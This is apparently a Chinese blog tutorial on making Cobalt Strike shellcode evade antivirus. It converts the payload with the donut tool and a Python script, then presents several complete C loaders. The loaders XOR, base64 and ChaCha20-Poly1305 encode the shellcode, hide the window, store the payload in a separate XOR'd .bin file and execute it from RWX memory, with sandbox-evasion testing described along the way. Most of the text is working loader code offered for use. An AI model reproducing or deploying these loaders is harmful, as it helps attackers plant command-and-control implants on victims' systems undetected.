深思

我经常会问自己一个问题,我用cs生成的shellcode,就算我能写点加载器把他构造成免杀的,那他的本质还是那一串十六进制,如果不能绕过这方面,那我以后肯定难成大器啊。我就在查有没有什么方法可以一键提取shellcode的,毕竟用xdbug看真的会昏头。接着我搜啊搜,还真被我找到了个好项目https://github.com/TheWover/donut#

作用及利用

它用来将exe转为bin文件,然后可以结合自己写的脚本,将bin转为shellcode就好

话不多说上演示

用cs生成c的shellcode,首先先使用它生成一个exe(直接使用cs生成的exe我试过不行,我不确定他是用什么语言写的所以就自己弄一个)

然后把他放到项目下,生成一个a.bin文件

复制a.bin到脚本的目录下,转为我们想要的shellcode

import sys

def bin_to_shellcode(file_path):
    try:
        with open(file_path, 'rb') as file:
            binary_data = file.read()
        # 将字节转换为十进制整数并以逗号分隔
        shellcode = ', '.join(str(byte) for byte in binary_data)
        return shellcode
    except FileNotFoundError:
        print(f"错误:文件 {file_path} 未找到。")
        return None
    except Exception as e:
        print(f"发生未知错误: {e}")
        return None

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("用法: python bin_to_shellcode.py <bin_file_path>")
        sys.exit(1)
    bin_file = sys.argv[1]
    result = bin_to_shellcode(bin_file)
    if result:
        # 以 C 语言数组格式写入文件
        with open('a.c', 'w') as output_file:
            output_file.write(f"unsigned char shellcode[] = {{{result}}};\n")
        print("Shellcode 已成功写入 a.c 文件。")

利用这个shellcode,重新换个加载器即可实现上线

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <stdlib.h>
#include <stdio.h>

void HideWindow()
{
    HWND hwnd = GetForegroundWindow();
    if (hwnd)
    {
        ShowWindow(hwnd, SW_HIDE);
    }
}

int RUN()
{
    HideWindow();
	unsigned char shellcode[] =
	size_t size=sizeof(shellcode);
	void *exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, size);
	((void(*)())exec)();

return 0;
}

int WINAPI WinMain(HINSTANCE hinstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    RUN();
}

现在就基本操作都了解的差不多了,那么怎么合理利用此项目免杀呢?

免杀教程(各功能代码放最后)

最开始走了一些弯路,我想的是把第一次制作shellcode的部分“精装”,于是就先对shellcode进行xor异或,接着用base64对异或结果加密,将加密得到的结果再chacha20poly1305动态加密,属于是混淆了很多遍了

但是上传微步云沙箱后看到还是有六个杀软始终绕不过,甚至换了各种方法,始终有六个,于是意识到可能是exe转bin的这个工具的特征被识别了,毕竟刚从github上下的时候Windows一直在报毒,但是我又不可能不用这个工具什么的。。。

既然工具主要的作用是exe-bin-shell这一步,我们能控制的是shell的走向,查看源码,和shell有关的不就是加密的代码?那不让他出现在这上面就好了,于是把shellcode和加载器分离(shellcode放到bin文件里面),加载器实现功能从里面读取来上线,但是还需要对bin文件做一个混淆(这俩要放到一起才能上线),免杀的加载器和免杀的bin才是双剑合璧天下无敌!

最终代码长这样

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// 动态存储Shellcode
unsigned char* wodemima = NULL;
size_t wodemima_size = 0;

// 正确加载函数(二进制模式)
int wodemimahanshu(const char* filename) {
    FILE* file = fopen(filename, "rb");
    if (!file) return 0;

    // 获取加密后的文件大小
    fseek(file, 0, SEEK_END);
    long encrypted_size = ftell(file);
    rewind(file);

    if (encrypted_size <= 0) {
        fclose(file);
        return 0;
    }

    // 分配内存存放加密数据(临时缓冲区)
    unsigned char* encrypted_data = (unsigned char*)malloc(encrypted_size);
    if (!encrypted_data) {
        fclose(file);
        return 0;
    }

    // 读取加密内容
    size_t read_size = fread(encrypted_data, 1, encrypted_size, file);
    fclose(file);

    if (read_size != encrypted_size) {
        free(encrypted_data);
        return 0;
    }

    // 异或解密(0xFF为密钥)
    for (long i = 0; i < encrypted_size; i++) {
        encrypted_data[i] ^= 0x39;  // 核心解密操作
    }

    // 将解密结果赋值给全局变量
    wodemima = encrypted_data;
    wodemima_size = encrypted_size;

    return 1;
}

// 执行函数(需保留原有逻辑)
void wodemimahanshuzhix() {
    if (!wodemima || wodemima_size == 0) return;

    void* exec_mem = VirtualAlloc(0, wodemima_size, 
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec_mem) {
        free(wodemima);
        return;
    }

    memcpy(exec_mem, wodemima, wodemima_size);
    free(wodemima);

    ((void(*)())exec_mem)();
}

// 主入口
int WINAPI WinMain(HINSTANCE h, HINSTANCE hp, LPSTR cmd, int n) {
    const char* filename = "C:\\Users\\20279\\Documents\\payload1.bin"; // 转换后的二进制文件
    
    if (!wodemimahanshu(filename)) {
        MessageBoxA(NULL, "加载Shellcode失败", "错误", MB_ICONERROR);
        return 1;
    }

    wodemimahanshuzhix();
    return 0;
}

异或0x39和上面代码对应

加麻

1.对shellcode加密base64和xor

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

// Base64编码表(无隐式\0问题)
static const char base64_chars[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// XOR加密/解密(可逆操作)
void xor_process(unsigned char* data, size_t len, unsigned char key) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

// 完整流程:
// 1. 原始Shellcode -> XOR加密 -> Base64编码 -> 传输
// 2. Base64解码 -> XOR解密 -> 执行Shellcode
// 
// Base64编码函数
char* base64_encode(const unsigned char* input, size_t length) {
    size_t output_length = 4 * ((length + 2) / 3);
    char* output = (char*)malloc(output_length + 1);
    if (!output) return NULL;

    size_t i, j;
    for (i = 0, j = 0; i < length;) {
        unsigned int octet_a = i < length ? input[i++] : 0;
        unsigned int octet_b = i < length ? input[i++] : 0;
        unsigned int octet_c = i < length ? input[i++] : 0;

        unsigned int triple = (octet_a << 16) | (octet_b << 8) | octet_c;

        output[j++] = base64_chars[(triple >> 18) & 0x3F]; // 取高6位
        output[j++] = base64_chars[(triple >> 12) & 0x3F];
        output[j++] = base64_chars[(triple >> 6) & 0x3F];
        output[j++] = base64_chars[triple & 0x3F];
    }

    // 处理填充
    switch (length % 3) {
    case 1:
        output[output_length - 1] = '=';
        output[output_length - 2] = '=';
        break;
    case 2:
        output[output_length - 1] = '=';
        break;
    }
    output[output_length] = '\0';
    return output;
}

// Base64解码函数
unsigned char* base64_decode(const char* input, size_t* output_length) {
    size_t input_length = strlen(input);
    if (input_length % 4 != 0) return NULL;

    // 计算输出长度
    *output_length = input_length / 4 * 3;
    if (input[input_length - 1] == '=') (*output_length)--;
    if (input[input_length - 2] == '=') (*output_length)--;

    unsigned char* output = (unsigned char*)malloc(*output_length + 1);
    if (!output) return NULL;

    size_t i, j = 0;
    for (i = 0; i < input_length;) {
        unsigned int sextet[4] = { 0 };
        int padding = 0;

        for (int k = 0; k < 4; k++) {
            char c = input[i++];
            if (c == '=') {
                // 处理填充逻辑
            }
            else {
                // 关键修复:显式类型转换 + 限定搜索范围
                const char* p = (const char*)memchr(base64_chars, c, 64); // 显式转换
                if (!p) { // 非法字符
                    free(output);
                    return NULL;
                }
                sextet[k] = p - base64_chars;
            }
        }

        unsigned int triple = (sextet[0] << 18) | (sextet[1] << 12) | (sextet[2] << 6) | sextet[3];

        // 写入输出
        output[j++] = (triple >> 16) & 0xFF;
        if (j < *output_length) output[j++] = (triple >> 8) & 0xFF;
        if (j < *output_length) output[j++] = triple & 0xFF;

        if (padding) break; // 遇到填充符后不再处理
    }

    output[*output_length] = '\0';
    return output;
}

// 打印二进制数据的辅助函数
void print_hex(const unsigned char* data, size_t len) {
    for (size_t i = 0; i < len; i++) {
        printf("\\x%02x", data[i]);
    }
    printf("\n");
}

int main() {
    // 测试数据
    unsigned char test_data[] = ;
    size_t data_len = sizeof(test_data) - 1;
    //xor加密
    // 1. 预处理:XOR加密(去除空字节)
    unsigned char key = 0xFF;
    xor_process(test_data, data_len, key);

    // 编码测试
    char* encoded = base64_encode(test_data, data_len);
    if (!encoded) {
        printf("Encode failed!\n");
        return 1;
    }
    printf("Encoded: %s\n", encoded);

    // 解码测试
    size_t decoded_len;
    unsigned char* decoded = base64_decode(encoded, &decoded_len);
    if (!decoded) {
        printf("Decode failed!\n");
        free(encoded);
        return 1;
    }
    //xor解密
    xor_process(decoded, decoded_len, key);
    // 验证结果
    printf("Decoded: ");
    print_hex(decoded, decoded_len);

    // 对比原始数据
    if (memcmp(test_data, decoded, data_len) == 0) {
        printf("Validation: OK\n");
    }
    else {
        printf("Validation: FAILED\n");
    }
    printf("Original Len: %zu\n", data_len);
    printf("Decoded Len: %zu\n", decoded_len);
    printf("Original Data:\n");
    for (size_t i = 0; i < data_len; i++) {
        printf("%02x ", test_data[i]);
    }
    printf("\nDecoded Data:\n");
    for (size_t i = 0; i < decoded_len; i++) {
        printf("%02x ", decoded[i]);
    }
    printf("\n");
    free(encoded);
    free(decoded);
    return 0;
}

加辣

2.将密文chacha20poly1305动态加密

#include <stdio.h>
#include <string.h>
#include <D:\github\lib\libsodium\libsodium-1.0.20-msvc\libsodium\include\sodium.h>

#define KEY_SIZE 32
#define NONCE_SIZE 24


int main() {
    if (sodium_init() < 0) {
        printf("sodium_init failed!\n");
        return 1;
    }
    printf("sodium_init success!\n");

    printf("crypto_aead_chacha20poly1305_ABYTES: %d\n", crypto_aead_chacha20poly1305_ABYTES);

    unsigned char ubf[] = ;
    int ubf_len = strlen((char*)ubf);
    unsigned char key[KEY_SIZE];
    randombytes_buf(key, KEY_SIZE);
    unsigned char nonce[NONCE_SIZE];
    randombytes_buf(nonce, NONCE_SIZE);

    printf("Key: ");
    for (int i = 0; i < KEY_SIZE; i++) printf("0x%02X,", key[i]);
    printf("\nNonce: ");
    for (int i = 0; i < NONCE_SIZE; i++) printf("0x%02X,", nonce[i]);
    printf("\n");

    unsigned char* encrypted = malloc(ubf_len + crypto_aead_chacha20poly1305_ABYTES);
    if (!encrypted) {
        printf("Memory allocation failed!\n");
        return 1;
    }

    unsigned long long encrypted_len; // 正确类型
    // 修复参数顺序和长度指针
    if (crypto_aead_chacha20poly1305_encrypt(
        encrypted,
        &encrypted_len, // 传入指针接收长度
        ubf,
        (unsigned long long)ubf_len,
        NULL,
        0,
        NULL,
        nonce, // 正确顺序:nonce在key之前
        key
    ) != 0) { // 检查返回值是否为0
        printf("Encryption failed!\n");
        free(encrypted);
        return 1;
    }
    printf("encrypted_len: %llu\n", encrypted_len);
    //输出密文
    printf("Ciphertext: ");
    for (unsigned long long i = 0; i < encrypted_len; i++) {
        printf("0x%02X,", encrypted[i]);
        if ((i + 1) % 16 == 0) printf("\n            "); // 每16字节换行对齐
    }
    printf("\n");
    // 修改解密缓冲区的分配
    unsigned char* decrypted = malloc(ubf_len + 1); // 分配 ubuf_len + 1 字节
    if (decrypted == NULL) {
        printf("Memory allocation for decrypted buffer failed!\n");
        free(encrypted);
        return 1;
    }

    // 解密过程
    unsigned long long decrypted_len;
    if (crypto_aead_chacha20poly1305_decrypt(
        decrypted,
        &decrypted_len,
        NULL,
        encrypted,
        encrypted_len,
        NULL,
        0,
        nonce,
        key
    ) != 0) {
        printf("Decryption failed.\n");
    }
    else {
        // 安全添加终止符
        if (decrypted_len <= ubf_len) {
            decrypted[decrypted_len] = '\0';
            printf("Decrypted: %s\n", decrypted);
        }
        else {
            printf("Decrypted data length exceeds buffer size!\n");
        }
    }

    free(encrypted);
    free(decrypted);
    return 0;
}

解毒

3.密钥和密文扔进去

#define _CRT_SECURE_NO_WARNINGS
#pragma comment(linker, "/section:.data,RWE")
#include <stdio.h>
#include <D:\github\lib\libsodium\libsodium-1.0.20-msvc\libsodium\include\sodium.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>

// Base64编码表(无隐式\0问题)
static const char base64_chars[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

// XOR加密/解密(可逆操作)
void xor_process(unsigned char* data, size_t len, unsigned char key) {
    for (size_t i = 0; i < len; i++) {
        data[i] ^= key;
    }
}

// 打印二进制数据的辅助函数
void print_hex(const unsigned char* data, size_t len) {
    for (size_t i = 0; i < len; i++) {
        printf("\\x%02x", data[i]);
    }
    printf("\n");
}


// Base64解码函数
unsigned char* base64_decode(const char* input, size_t* output_length) {
    size_t input_length = strlen(input);
    if (input_length % 4 != 0) return NULL;

    // 计算输出长度
    *output_length = input_length / 4 * 3;
    if (input[input_length - 1] == '=') (*output_length)--;
    if (input[input_length - 2] == '=') (*output_length)--;

    unsigned char* output = (unsigned char*)malloc(*output_length + 1);
    if (!output) return NULL;

    size_t i, j = 0;
    for (i = 0; i < input_length;) {
        unsigned int sextet[4] = { 0 };
        int padding = 0;

        for (int k = 0; k < 4; k++) {
            char c = input[i++];
            if (c == '=') {
                // 处理填充逻辑
            }
            else {
                // 关键修复:显式类型转换 + 限定搜索范围
                const char* p = (const char*)memchr(base64_chars, c, 64); // 显式转换
                if (!p) { // 非法字符
                    free(output);
                    return NULL;
                }
                sextet[k] = p - base64_chars;
            }
        }

        unsigned int triple = (sextet[0] << 18) | (sextet[1] << 12) | (sextet[2] << 6) | sextet[3];

        // 写入输出
        output[j++] = (triple >> 16) & 0xFF;
        if (j < *output_length) output[j++] = (triple >> 8) & 0xFF;
        if (j < *output_length) output[j++] = triple & 0xFF;

        if (padding) break; // 遇到填充符后不再处理
    }

    output[*output_length] = '\0';
    return output;
}

// 定义密钥(32 字节,16 进制转字节数组)
unsigned char key[32] = {
};

// 定义 Nonce(假设你漏写了 4 字节,补全为 24 字节,实际请按正确长度填写)
// 注意:若你的 Nonce 实际是 24 字节,请修正以下数组(当前示例为临时补全,仅用于演示)
unsigned char nonce[24] = {
      // 假设这是完整的 24 字节
};

// 定义密文(需替换为你的实际密文,格式:十六进制字节数组,包含 16 字节认证标签)
// 示例:假设密文为 100 字节(实际长度需根据你的密文计算)
unsigned char ciphertext[] = {
};
size_t ciphertext_len = sizeof(ciphertext);  // 密文长度(包含认证标签)

int main() {
    // 初始化 libsodium
    if (sodium_init() < 0) {
        printf("sodium_init failed!\n");
        return 1;
    }

    // 分配解密缓冲区(明文最大长度 = 密文长度 - 认证标签长度 16 字节)
    unsigned char* plaintext = (unsigned char*)malloc(ciphertext_len - crypto_aead_chacha20poly1305_ABYTES + 1);
    if (plaintext == NULL) {
        printf("Memory allocation failed!\n");
        return 1;
    }
    unsigned long long decrypted_len;
    // 解密(附加数据为 NULL,长度为 0)
    int result = crypto_aead_chacha20poly1305_decrypt(
        plaintext,        // 输出:明文
        &decrypted_len,   // 输出:明文长度
        NULL,             // nsec(无,传 NULL)
        ciphertext,       // 输入:密文
        ciphertext_len,   // 输入:密文长度
        NULL,             // ad(无附加数据,传 NULL)
        0,                // adlen(附加数据长度为 0)
        nonce,            // 输入:Nonce
        key               // 输入:密钥
    );

    // 检查解密是否成功(通过函数返回值 result)
    if (result < 0) {
        printf("Decryption failed! (可能是密钥、Nonce 错误或密文被篡改)\n");
        free(plaintext);
        return 1;
    }

    // 输出明文(假设明文是字符串,以 \0 结尾)
    printf("Decrypted plaintext:\n");
    for (int i = 0; i < decrypted_len; i++) {
        printf("%c", plaintext[i]);
    }
    printf("\n");
    plaintext[decrypted_len] = '\0';

    

    unsigned char keyword = 0xFF; // xor密钥
    // 解码测试
    size_t decoded_len;
    // 将 plaintext 显式转换为 const char* 以匹配 base64_decode 的参数要求
   
    unsigned char* decoded = base64_decode((const char*)plaintext, &decoded_len);
    if (!decoded) {
        printf("Decode failed!\n");
        free(plaintext);
        return 1;
    }

    //xor解密
    xor_process(decoded, decoded_len, keyword);
    // 验证结果
    //printf("Decoded: ");
    //print_hex(decoded, decoded_len);

    unsigned char* new_allocated_buf = VirtualAlloc(
        NULL,
        decoded_len,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE // 赋予执行和读写权限
    );
    if (!new_allocated_buf) {
        printf("Memory allocation failed!\n");
        free(decoded);
        return 1;
    }
    memcpy(new_allocated_buf, decoded, decoded_len);
    ((void (*)(void)) new_allocated_buf)(); // 此时内存有执行权限

    



    // 释放内存
    free(plaintext);
    return 0;
}

此时把编译成功的exe扔到项目->变成bin->变成shellcode->转异或bin(emmm,貌似扔进项目后直接转异或就好了,但是我没试哈)->俩放一起执行上线

#十进制shellcode转bin
with open("2.txt") as f:
    data = [int(x) for x in f.read().split(",")]
with open("payload1.bin", "wb") as f:
    f.write(bytes(data))

后面的区域请到前面去探索吧!

免责声明:为了测试哪里有问题我才弄了那么多的printf的,若嫌无用,速删